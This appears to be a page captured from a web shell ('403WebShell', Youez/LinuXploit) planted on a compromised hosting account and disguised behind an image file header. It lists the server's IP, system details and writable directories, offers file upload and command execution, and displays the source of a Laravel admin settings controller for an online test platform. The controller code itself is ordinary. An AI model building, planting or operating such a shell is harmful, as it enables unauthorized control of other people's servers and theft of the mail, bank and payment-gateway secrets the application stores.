����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.190.239.5
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./cbt.gltechlimited.com/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./cbt.gltechlimited.com/app/Http/Controllers/Admin/SettingController.php
<?php
/**
 * File name: SettingController.php
 * Last modified: 19/07/21, 12:55 AM
 * Author: NearCraft - https://codecanyon.net/user/nearcraft
 * Copyright (c) 2021
 */

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Controller;
use App\Repositories\SettingsRepository;
use App\Settings\BankSettings;
use App\Settings\BillingSettings;
use App\Settings\EmailSettings;
use App\Settings\LocalizationSettings;
use App\Settings\PaymentSettings;
use App\Settings\PayPalSettings;
use App\Settings\RazorpaySettings;
use App\Settings\SiteSettings;
use App\Settings\StripeSettings;
use App\Settings\TaxSettings;
use App\Settings\ThemeSettings;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
use Inertia\Inertia;
use Jackiedo\DotenvEditor\Facades\DotenvEditor;

class SettingController extends Controller
{
    public function __construct()
    {
        $this->middleware(['role:admin']);
    }

    /**
     * Get General Site Settings Page
     *
     * @param SiteSettings $siteSettings
     * @return \Inertia\Response
     */
    public function general(SiteSettings $siteSettings)
    {
        return Inertia::render('Admin/Settings/GeneralSettings', [
            'siteSettings' => $siteSettings->toArray(),
        ]);
    }

    /**
     * Get Localization Settings Page
     *
     * @param LocalizationSettings $localizationSettings
     * @return \Inertia\Response
     */
    public function localization(LocalizationSettings $localizationSettings)
    {
        $timeZones = \DateTimeZone::listIdentifiers(\DateTimeZone::ALL);

        return Inertia::render('Admin/Settings/LocalizationSettings', [
            'localizationSettings' => $localizationSettings->toArray(),
            'timezones' => $timeZones,
            'languages' => isoLocaleIdentifiers()
        ]);
    }

    /**
     * Get Email Settings Page
     *
     * @param EmailSettings $emailSettings
     * @return \Inertia\Response
     */
    public function email(EmailSettings $emailSettings)
    {
        return Inertia::render('Admin/Settings/EmailSettings', [
            'emailSettings' => $emailSettings->toArray(),
        ]);
    }

    /**
     * Get Theme Settings Page
     *
     * @param ThemeSettings $themeSettings
     * @return \Inertia\Response
     */
    public function theme(ThemeSettings $themeSettings)
    {
        return Inertia::render('Admin/Settings/ThemeSettings', [
            'themeSettings' => $themeSettings->toArray(),
        ]);
    }

    /**
     * Get Payment Settings Page
     *
     * @param PaymentSettings $paymentSettings
     * @return \Inertia\Response
     */
    public function payment(PaymentSettings $paymentSettings)
    {
        $paymentProcessors = [];

        foreach (config('qwiktest.payment_processors') as $key => $value) {
            array_push($paymentProcessors, ['code' => $key, 'name' => $value['name']]);
        }

        return Inertia::render('Admin/Settings/PaymentSettings', [
            'paymentSettings' => $paymentSettings->toArray(),
            'bankSettings' => app(BankSettings::class)->toArray(),
            'razorpaySettings' => app(RazorpaySettings::class)->toArray(),
            'paypalSettings' => app(PayPalSettings::class)->toArray(),
            'stripeSettings' => app(StripeSettings::class)->toArray(),
            'paymentProcessors' => $paymentProcessors,
            'currencies' => isoCurrencies()
        ]);
    }

    /**
     * Get Billing Settings Page
     *
     * @param BillingSettings $billingSettings
     * @param TaxSettings $taxSettings
     * @return \Inertia\Response
     * @throws \Exception
     */
    public function billing(BillingSettings $billingSettings, TaxSettings $taxSettings)
    {
        return Inertia::render('Admin/Settings/BillingSettings', [
            'billingSettings' => $billingSettings->toArray(),
            'taxSettings' => $taxSettings->toArray(),
            'countries' => isoCountries()
        ]);
    }

    /**
     * Update Site Settings
     *
     * @param Request $request
     * @param SiteSettings $settings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateSiteSettings(Request $request, SiteSettings $settings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'app_name' => ['required', 'string', 'max:160'],
            'tag_line' => ['required', 'string', 'max:160'],
            'seo_description' => ['required', 'string', 'max:255'],
            'can_register' => ['required'],
            'logo_path' => ['nullable', 'image', 'mimes:jpg,png', 'max:512'],
            'favicon_path' => ['nullable', 'image', 'mimes:png', 'max:512']
        ])->validateWithBag('updateSiteSettings');

        $settings->app_name = $request->get('app_name');
        $settings->tag_line = $request->get('tag_line');
        $settings->seo_description = $request->get('seo_description');
        $settings->can_register = $request->get('can_register');
        $settings->save();

        $env = DotenvEditor::load();
        $env->setKey('APP_NAME', $request->get('app_name'));
        $env->save();

        return redirect()->back();
    }

    /**
     * Update Site Logo
     *
     * @param Request $request
     * @param SettingsRepository $repository
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateLogo(Request $request, SettingsRepository $repository)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'logo_path' => ['nullable', 'image', 'mimes:jpg,png', 'max:512'],
        ])->validateWithBag('updateLogo');

        if (isset($request['logo_path'])) {
            $repository->updateSiteLogo($request['logo_path']);
        }

        return redirect()->back();
    }

    /**
     * Update White Logo
     *
     * @param Request $request
     * @param SettingsRepository $repository
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateWhiteLogo(Request $request, SettingsRepository $repository)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'white_logo_path' => ['nullable', 'image', 'mimes:jpg,png', 'max:512'],
        ])->validateWithBag('updateWhiteLogo');

        if (isset($request['white_logo_path'])) {
            $repository->updateWhiteLogo($request['white_logo_path']);
        }

        return redirect()->back();
    }

    /**
     * Update Site Favicon
     *
     * @param Request $request
     * @param SettingsRepository $repository
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateFavicon(Request $request, SettingsRepository $repository)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'favicon_path' => ['nullable', 'image', 'mimes:jpg,png', 'max:512'],
        ])->validateWithBag('updateFavicon');

        if (isset($request['favicon_path'])) {
            $repository->updateFavicon($request['favicon_path']);
        }

        return redirect()->back();
    }

    /**
     * Update Localization Settings
     *
     * @param Request $request
     * @param LocalizationSettings $settings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateLocalizationSettings(Request $request, LocalizationSettings $settings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'default_locale' => ['required', 'max:255'],
            'default_direction' => ['required', 'max:255'],
            'default_timezone' => ['required', 'max:255'],
        ])->validateWithBag('updateLocalizationSettings');

        $settings->default_locale = $request->get('default_locale');
        $settings->default_direction = $request->get('default_direction');
        $settings->default_timezone = $request->get('default_timezone');
        $settings->save();

        $env = DotenvEditor::load();
        $env->setKey('APP_LOCALE', $request->get('default_locale'));
        $env->save();

        return redirect()->back();
    }

    /**
     * Update Email Settings
     *
     * @param Request $request
     * @param EmailSettings $settings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateEmailSettings(Request $request, EmailSettings $settings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'host' => ['required', 'string', 'max:250'],
            'port' => ['required', 'numeric'],
            'username' => ['required', 'string', 'max:1024'],
            'password' => ['required', 'string', 'max:1024'],
            'encryption' => ['required', 'string', 'max:250'],
            'from_address' => ['required', 'string', 'max:1024'],
            'from_name' => ['required', 'string', 'max:1024'],
        ])->validateWithBag('updateSiteSettings');

        $settings->host = $request->get('host');
        $settings->port = $request->get('port');
        $settings->username = $request->get('username');
        $settings->password = $request->get('password');
        $settings->encryption = $request->get('encryption');
        $settings->from_address = $request->get('from_address');
        $settings->from_name = $request->get('from_name');
        $settings->save();

        $env = DotenvEditor::load();
        $env->setKey('MAIL_HOST', $request->get('host'));
        $env->setKey('MAIL_PORT', $request->get('port'));
        $env->setKey('MAIL_USERNAME', $request->get('username'));
        $env->setKey('MAIL_PASSWORD', $request->get('password'));
        $env->setKey('MAIL_ENCRYPTION', $request->get('encryption'));
        $env->setKey('MAIL_FROM_ADDRESS', $request->get('from_address'));
        $env->setKey('MAIL_FROM_NAME', $request->get('from_name'));
        $env->save();

        return redirect()->back();
    }

    /**
     * Update Email Settings
     *
     * @param Request $request
     * @param ThemeSettings $settings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateThemeSettings(Request $request, ThemeSettings $settings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'primary_color' => ['required', 'string', 'max:60'],
            'secondary_color' => ['required', 'string', 'max:60'],
        ])->validateWithBag('updateThemeSettings');

        $settings->primary_color = $request->get('primary_color');
        $settings->secondary_color = $request->get('secondary_color');
        $settings->save();

        return redirect()->back();
    }

    /**
     * Update Email Settings
     *
     * @param Request $request
     * @param ThemeSettings $settings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateFontSettings(Request $request, ThemeSettings $settings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'default_font' => ['required', 'string', 'max:100'],
            'default_font_url' => ['required', 'string', 'max:1000'],
        ])->validateWithBag('updateFontSettings');

        $env = DotenvEditor::load();
        $env->setKey('DEFAULT_FONT', $request->get('default_font'));
        $env->setKey('DEFAULT_FONT_URL', $request->get('default_font_url'));
        $env->save();

        $settings->default_font = $request->get('default_font');
        $settings->default_font_url = $request->get('default_font_url');
        $settings->save();

        return redirect()->back();
    }

    /**
     * Update Billing Settings
     *
     * @param Request $request
     * @param BillingSettings $settings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateBillingSettings(Request $request, BillingSettings $settings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'vendor_name' => ['required', 'max:255'],
            'address' => ['required', 'max:1000'],
            'city' => ['required', 'max:100'],
            'state' => ['required', 'max:100'],
            'country' => ['required', 'max:100'],
            'zip' => ['required', 'max:100'],
            'phone_number' => ['required', 'max:100'],
            'vat_number' => ['required', 'max:100'],
            'enable_invoicing' => ['required'],
            'invoice_prefix' => ['required', 'max:60'],
        ])->validateWithBag('updateBillingSettings');

        $settings->vendor_name = $request->get('vendor_name');
        $settings->address = $request->get('address');
        $settings->city = $request->get('city');
        $settings->state = $request->get('state');
        $settings->country = $request->get('country');
        $settings->zip = $request->get('zip');
        $settings->phone_number = $request->get('phone_number');
        $settings->vat_number = $request->get('vat_number');
        $settings->enable_invoicing = $request->get('enable_invoicing');
        $settings->invoice_prefix = $request->get('invoice_prefix');
        $settings->save();

        return redirect()->back();
    }

    /**
     * Update Tax Settings
     *
     * @param Request $request
     * @param TaxSettings $settings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateTaxSettings(Request $request, TaxSettings $settings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'enable_tax' => ['required'],
            'tax_name' => ['required', 'max:100'],
            'tax_type' => ['required'],
            'tax_amount_type' => ['required'],
            'tax_amount' => ['required', 'max:100'],
            'enable_additional_tax' => ['required'],
            'additional_tax_name' => ['required', 'max:100'],
            'additional_tax_type' => ['required'],
            'additional_tax_amount_type' => ['required'],
            'additional_tax_amount' => ['required', 'max:100'],
        ])->validateWithBag('updateTaxSettings');

        $settings->enable_tax = $request->get('enable_tax');
        $settings->tax_name = $request->get('tax_name');
        $settings->tax_type = $request->get('tax_type');
        $settings->tax_amount_type = $request->get('tax_amount_type');
        $settings->tax_amount = $request->get('tax_amount');
        $settings->enable_additional_tax = $request->get('enable_additional_tax');
        $settings->additional_tax_name = $request->get('additional_tax_name');
        $settings->additional_tax_type = $request->get('additional_tax_type');
        $settings->additional_tax_amount_type = $request->get('additional_tax_amount_type');
        $settings->additional_tax_amount = $request->get('additional_tax_amount');
        $settings->save();

        return redirect()->back();
    }

    /**
     * Update Payment Settings
     *
     * @param Request $request
     * @param PaymentSettings $settings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updatePaymentSettings(Request $request, PaymentSettings $settings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'default_payment_processor' => ['required', 'max:100'],
            'default_currency' => ['required', 'max:3'],
            'currency_symbol' => ['required', 'max:10'],
            'currency_symbol_position' => ['required', 'max:100'],
        ])->validateWithBag('updatePaymentSettings');

        $settings->default_payment_processor = $request->get('default_payment_processor');
        $settings->default_currency = $request->get('default_currency');
        $settings->currency_symbol = $request->get('currency_symbol');
        $settings->currency_symbol_position = $request->get('currency_symbol_position');
        $settings->save();

        return redirect()->back();
    }

    /**
     * Update Bank Settings
     *
     * @param Request $request
     * @param BankSettings $settings
     * @param PaymentSettings $paymentSettings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateBankSettings(Request $request, BankSettings $settings, PaymentSettings $paymentSettings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'enable_bank' => ['required'],
            'bank_name' => ['required', 'max:255'],
            'account_owner' => ['required', 'max:255'],
            'account_number' => ['required', 'max:255'],
            'iban' => ['required', 'max:255'],
            'routing_number' => ['required', 'max:255'],
            'bic_swift' => ['required', 'max:255'],
            'other_details' => ['required', 'max:1000'],
        ])->validateWithBag('updateBankSettings');

        $paymentSettings->enable_bank = $request->get('enable_bank');
        $paymentSettings->save();

        $settings->bank_name = $request->get('bank_name');
        $settings->account_owner = $request->get('account_owner');
        $settings->account_number = $request->get('account_number');
        $settings->iban = $request->get('iban');
        $settings->routing_number = $request->get('routing_number');
        $settings->bic_swift = $request->get('bic_swift');
        $settings->other_details = $request->get('other_details');
        $settings->save();

        return redirect()->back();
    }

    /**
     * Update Razorpay Settings
     *
     * @param Request $request
     * @param RazorpaySettings $settings
     * @param PaymentSettings $paymentSettings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateRazorpaySettings(Request $request, RazorpaySettings $settings, PaymentSettings $paymentSettings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'enable_razorpay' => ['required'],
            'key_id' => ['required', 'max:1000'],
            'key_secret' => ['required', 'max:1000'],
            'webhook_secret' => ['required', 'max:1000'],
        ])->validateWithBag('updateRazorpaySettings');

        $paymentSettings->enable_razorpay = $request->get('enable_razorpay');
        $paymentSettings->save();

        $settings->key_id = $request->get('key_id');
        $settings->key_secret = $request->get('key_secret');
        $settings->webhook_secret = $request->get('webhook_secret');
        $settings->save();

        return redirect()->back();
    }

    /**
     * Update PayPal Settings
     *
     * @param Request $request
     * @param PayPalSettings $settings
     * @param PaymentSettings $paymentSettings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updatePayPalSettings(Request $request, PayPalSettings $settings, PaymentSettings $paymentSettings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'enable_paypal' => ['required'],
            'client_id' => ['required', 'max:5000'],
            'secret' => ['required', 'max:5000'],
        ])->validateWithBag('updatePaypalSettings');

        $paymentSettings->enable_paypal = $request->get('enable_paypal');
        $paymentSettings->save();

        $settings->client_id = $request->get('client_id');
        $settings->secret = $request->get('secret');
        $settings->save();

        return redirect()->back();
    }

    /**
     * Update Stripe Settings
     *
     * @param Request $request
     * @param StripeSettings $settings
     * @param PaymentSettings $paymentSettings
     * @return \Illuminate\Http\RedirectResponse
     */
    public function updateStripeSettings(Request $request, StripeSettings $settings, PaymentSettings $paymentSettings)
    {
        if(config('qwiktest.demo_mode')) {
            return redirect()->back()->with('errorMessage', 'Demo Mode! These settings can\'t be changed.');
        }

        Validator::make($request->all(), [
            'enable_stripe' => ['required'],
            'api_key' => ['required', 'max:5000'],
            'secret_key' => ['required', 'max:5000'],
        ])->validateWithBag('updateStripeSettings');

        $paymentSettings->enable_stripe = $request->get('enable_stripe');
        $paymentSettings->save();

        $settings->api_key = $request->get('api_key');
        $settings->secret_key = $request->get('secret_key');
        $settings->webhook_secret = $request->get('webhook_secret');
        $settings->save();

        return redirect()->back();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit